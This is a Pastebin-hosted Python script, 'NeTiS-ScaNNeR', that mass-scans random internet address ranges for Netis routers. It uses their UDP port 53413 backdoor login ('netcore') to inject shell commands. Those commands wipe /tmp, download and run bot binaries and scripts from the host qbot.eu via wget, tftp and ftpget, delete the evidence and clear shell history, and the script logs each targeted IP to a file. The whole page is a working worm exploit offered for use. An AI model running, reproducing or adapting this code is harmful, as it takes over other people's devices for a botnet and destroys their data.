Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- """
- NeTiS-ScaNNeR
- By; LiGhT
- Updated/Upgraded by Chris Poole | @codingplanets
- DONT FORGET TO SET FILE DESCRIPTOR LIMIT(ulimit)
- """
- import threading, sys, time, random, socket, re, os
- if len(sys.argv) < 3:
- print "\033[32mNetis Scanner v2\n \033[36mBy; LiGhT | Updated/Upgraded by Chris Poole | @codingplanets\n\033[35mUsage: python "+sys.argv[0]+" <threads> <ips per range(1-150)>\n\033[35mExample: python "+sys.argv[0]+" 100 25\n\033[37m"
- sys.exit()
- ranges = ["110","111","112","113","114","115","116","117","118","119","120","121","122","123","124","125","126","127","128","129","130","223","1","103","203","202","122","60","101","106","1","37","151","124","176", "95","77","36"]
- loginpayload = "AAAAAAAAnetcore\x00" #DONT CHANGE
- commandpayload = "cd /tmp; rm -fr *; wget http://qbot.eu/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp qbot.eu -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g qbot.eu; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 qbot.eu ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh tfyfa1.sh; rm -rf *; history -c\n"
- commanddpayload = "AA\x00\x00AAAA cd /tmp; rm -fr *; wget http://qbot.eu/mipsel; chmod 777 mipsel; sh mipsel; tftp qbot.eu -c get mipsel; chmod 777 mipsel; sh mipsel; tftp -r mipsel -g qbot.eu; chmod 777 mipsel; sh mipsel; ftpget -v -u anonymous -p anonymous -P 21 qbot.eu mipsel mipsel; sh mipsel; rm -rf mipsel mipsel mipsel tfyfa1.sh; rm -rf *; history -c\x00"
- commandddpayload= "AAAAAAAAnetcore\x00 \r\n\r\n AA\x00\x00AAAA cd /tmp; wget http://qbot.eu/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp qbot.eu -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g qbot.eu; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 qbot.eu ftp1.sh ftp1.sh.sh; sh ftp1.sh.sh; rm -rf bins.sh tftp1.sh tftp2.sh rm -rf *\r\n\x00"
- threads = int(sys.argv[1])
- num = int(sys.argv[2])
- def worker():
- try:
- while True:
- try:
- a = random.choice(ranges)
- number = num + 1
- hoho = []
- for k in xrange(number):
- host = ''+a+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
- hoho.append(host)
- for j in hoho:
- ip = j
- print "\033[37mStarting Thread: %s\033[37m"%(ip)
- nn = nnetis(ip)
- nn.start()
- except:
- pass
- except:
- pass
- class nnetis(threading.Thread):
- def __init__ (self, ip):
- threading.Thread.__init__(self)
- self.ip = str(ip).rstrip('\n')
- def run(self):
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- try:
- print "\033[32mSending Payload: %s"%(self.ip)
- s.sendto(loginpayload, (self.ip, 53413))
- time.sleep(10.5)
- s.sendto(commandpayload, (self.ip, 53413))
- time.sleep(5.5)
- s.sendto(commanddpayload, (self.ip, 53413))
- time.sleep(5.5)
- s.sendto(commandddpayload, (self.ip, 53413))
- time.sleep(5.5)
- os.system("echo -e " +self.ip+ " >> bios_netis.txt")
- except Exception:
- pass
- for g in xrange(threads):
- t = threading.Thread(target=worker)
- t.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement